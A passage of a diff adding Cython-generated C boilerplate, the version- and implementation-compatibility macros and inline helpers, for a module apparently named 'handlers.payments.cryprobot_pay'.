__Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__cryprobot_pay +#define __PYX_HAVE_API__handlers__payments__cryprobot_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define 